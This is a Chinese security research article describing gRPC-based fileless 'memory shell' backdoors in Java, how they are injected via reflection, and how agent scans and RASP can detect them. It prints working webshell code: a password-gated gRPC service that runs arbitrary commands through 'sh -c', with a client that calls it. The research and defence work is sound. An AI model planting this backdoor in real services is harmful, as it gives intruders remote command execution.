01 概述
在《内存马的攻防博弈之旅》中，我们对内存马做过了一定的介绍。做个简单的总结，内存马就是在系统动态创建对外提供服务的恶意后门接口，并且整个过程没有文件落地，全都在内存中执行，故称之为内存马。
目前已经有基于Filter，servlet，service，websocket等方式实现的内存马。本文将介绍利用gRPC协议的新型的内存马的实现与防御。
02 gRPC
gRPC[1]是由 google开发的一个高性能、通用的开源RPC框架，主要面向移动应用开发且基于HTTP/2协议标准而设计，同时支持大多数流行的编程语言。
官方对gRPC协议的介绍如下：
gRPC 是一种现代开源高性能远程过程调用 (RPC) 框架，可以在任何环境中运行。它可以通过对负载平衡、跟踪、健康检查和身份验证的可插拔支持，有效地连接数据中心内和数据中心之间的服务。它还适用于分布式计算的最后一英里，将设备、移动应用程序和浏览器连接到后端服务。
gRPC协议有着以下的特性：
1. 简单的服务定义
使用 Protocol Buffers 定义您的服务，这是一种强大的二进制序列化工具集和语言。
2. 快速启动并扩展
使用一行代码安装运行时和开发环境，并使用框架扩展到每秒数百万次 RPC。
3. 跨语言和平台工作
以各种语言和平台为您的服务自动生成惯用的客户端和服务器存根。
4. 双向流和集成身份验证
双向流和完全集成的可插拔身份验证与基于 HTTP/2 的传输。
gRPC以其高效的性能，在现在微服务架构中越来越流行。既然gRPC协议就是一种对外提供服务的接口，那是否也可以通过gRPC协议来实现一种新型的内存马呢？
03 gRPC环境搭建
环境搭建
首先，我们使用java maven环境搭建一个gRPC服务。
完整代码在https://github.com/snailll/gRPCDemo
创建一个简单User服务，gRPC基于ProtoBuf(Protocol Buffers) [2] 序列化协议开发，我们需要先定义user.proto
syntax = "proto3";
package protocol;
option go_package = "protocol";
option java_multiple_files = true;
option java_package = "com.demo.shell.protocol";
message User {
int32 userId = 1;
string username = 2;
sint32 age = 3;
string name = 4;
}
service UserService {
rpc getUser (User) returns (User) {}
rpc getUsers (User) returns (stream User) {}
rpc saveUsers (stream User) returns (User) {}
}
再实现对应UserService里的方法
public class UserServiceImpl extends UserServiceGrpc.UserServiceImplBase {
@Override
public void getUser(User request, StreamObserver<User> responseObserver) {
System.out.println(request);
...
responseObserver.onNext(user);
responseObserver.onCompleted();
}
@Override
public void getUsers(User request, StreamObserver<User> responseObserver) {
...
responseObserver.onNext(user);
responseObserver.onNext(user2);
responseObserver.onCompleted();
}
@Override
public StreamObserver<User> saveUsers(StreamObserver<User> responseObserver) {
return new StreamObserver<User>() {
...
};
}
}
启动服务
public class NsServer {
public static void main(String[] args) throws Exception {
int port = 8082;
Server server = ServerBuilder
.forPort(port)
.addService(new UserServiceImpl())
.build()
.start();
System.out.println("server started, port : " + port);
server.awaitTermination();
}
}
启动客户端
public class NsTest {
public static void main(String[] args) {
User user = User.newBuilder()
.setUserId(100)
.build();
String host = "127.0.0.1";
int port = 8082;
ManagedChannel channel = ManagedChannelBuilder.forAddress(host, port).usePlaintext().build();
UserServiceGrpc.UserServiceBlockingStub userServiceBlockingStub = UserServiceGrpc.newBlockingStub(channel);
User responseUser = userServiceBlockingStub.getUser(user);
System.out.println(responseUser);
Iterator<User> users = userServiceBlockingStub.getUsers(user);
while (users.hasNext()) {
System.out.println(users.next());
}
channel.shutdown();
}
}
04 内存马实现方式
实现原理
需要实现内存马，我们就需要能够动态创建对外提供服务的恶意后门接口，通过上面的环境搭建步骤我们可以看到，添加服务是Server的addService方法实现的，那我们就以此为入口，分析服务是如何添加以及运行的，来实现后续的动态添加service实现内存马的能力。
关键逻辑分析
图1 gRPC方法请求流程及动态注入
通过分析服务解析调用的流程，整个gRPC服务的注册及调用流程如图1所示：
1. 启动时创建services列表，添加所有的gRPC的接口的定义，并设置为unmodifiable；
2. 请求时判断调用的接口是否在接口列表中，在列表中就调用对应的实现类。
通过分析server创建以及请求调用的过程，可以得出，如果想要实现动态注入gRPC service，那我们需要满足以下条件：
1. 能获取到获取到services列表；
2. 能创建自定义的service接口；
3. 能够对unmodifiable的接口做修改，加入创建的service接口。
通过分析，在gRPC调用链中，我们可以看到一个参数里面的services，methods也正是我们注册的User服务。通过java的反射机制，就可以获取到此属性。
图2 请求中的services对象
对于已经设置为unmodifiable的services对象，往里面直接put元素会抛出异常。因此我们采取一种讨巧的方式，创建一个新的可以修改的对象，将原始内容添加进去，并加入我们需要新加入的Service，最后反射set为新创建的值。
利用构造
通过java反序列化等漏洞我们可以利用java的反射机制实现动态注入接口，修改services对象注入内存马接口，因为PoC包含攻击性暂不提供。 内存马的简单内容实现如下：
webshell.proto定义：
syntax = "proto3";
package protocol;
option go_package = "protocol";
option java_multiple_files = true;
option java_package = "com.demo.shell.protocol";
message Webshell {
string pwd = 1;
string cmd = 2;
}
service WebShellService {
rpc exec (Webshell) returns (Webshell) {}
}
webshell实现类：
public class WebshellServiceImpl extends WebShellServiceGrpc.WebShellServiceImplBase {
@Override
public void exec(Webshell request, StreamObserver<Webshell> responseObserver) {
super.exec(request, responseObserver);
String pwd = request.getPwd();
String cmd = request.getCmd();
if ("x".equals(pwd)) {
String[] cmdStrings = new String[]{"sh", "-c", cmd};
String retString = "";
Process p = null;
try {
p = Runtime.getRuntime().exec(cmdStrings);
int status = p.waitFor();
List<String> processList = new ArrayList<String>();
BufferedReader input = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line = "";
while ((line = input.readLine()) != null) {
processList.add(line);
}
input.close();
for (String l : processList) {
line += l;
}
System.out.println(line);
// String result = p.getOutputStream().toString();
System.out.println("=======>" + line);
if (status != 0) {
System.err.println(String.format("runShellCommand: %s, status: %s", cmd,
status));
}
Webshell webshell = Webshell
.newBuilder().setCmd(line).build();
responseObserver.onNext(webshell);
responseObserver.onCompleted();
} catch (Exception e) {
e.printStackTrace();
} finally {
if (p != null) {
p.destroy();
}
}
}
}
}
利用效果
默认未执行payload前Service只有一个。
图3 未执行内存马前的service对象列表
执行payload添加 Service后，webshell Service 已经成功注册。
图4 执行内存马后的service对象列表
client连接webshell，执行命令
public class TestShell {
public static void main(String[] args) {
Webshell webshell = Webshell.newBuilder()
.setPwd("x")
.setCmd("ls -al ")
.build();
String host = "127.0.0.1";
int port = 8082;
ManagedChannel channel = ManagedChannelBuilder.forAddress(host, port).usePlaintext().build();
WebShellServiceGrpc.WebShellServiceBlockingStub webShellServiceBlockingStub = WebShellServiceGrpc.newBlockingStub(channel);
Webshell s = webShellServiceBlockingStub.exec(webshell);
System.out.println(s.getCmd());
try {
Thread.sleep(5000);
} catch (InterruptedException e) {
e.printStackTrace();
}
channel.shutdown();
}
}
可以看到server已经成功执行命令，输出结果。
图5 内存马执行命令成功结果
05 防御手段
目前内存马的检测手段主要有两种方式，一种是利用基于Instrument的Agent的事后检测机制，一种是利用RASP的事中检测机制。
传统的利用Instrument的Agent检测机制是对已存在的Servlet，Filter，Listener，Interceptor，websocket对象的class文件反编译后再做恶意代码识别。但gRPC类型的内存马并不在这个列表中，因此是无法检测的。对gRPC类型的内存马，可以加入对实现了io.grpc.BindableService接口的类做检测。
利用RASP技术，可以对动态修改services列表的行为做检测阻断，以实现阻止gRPC内存马的创建。
06 总结
本文介绍了在新的微服务的场景，随着gRPC协议的广泛应用，利用gRPC实现的新型的内存马技术也给企业的安全防护带来了新的挑战。同时随着技术的不断的迭代发展，也有可能会有其他新型的内存马的出现。可以看出内存马安全攻防的博弈一直都在持续进行中，这趟旅程还没有到终点。
参考
[1]https://grpc.io
[2]https://developers.google.com/protocol-buffers
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原文始发于微信公众号（M01N Team）：内存马的攻防博弈之旅之gRPC内存马
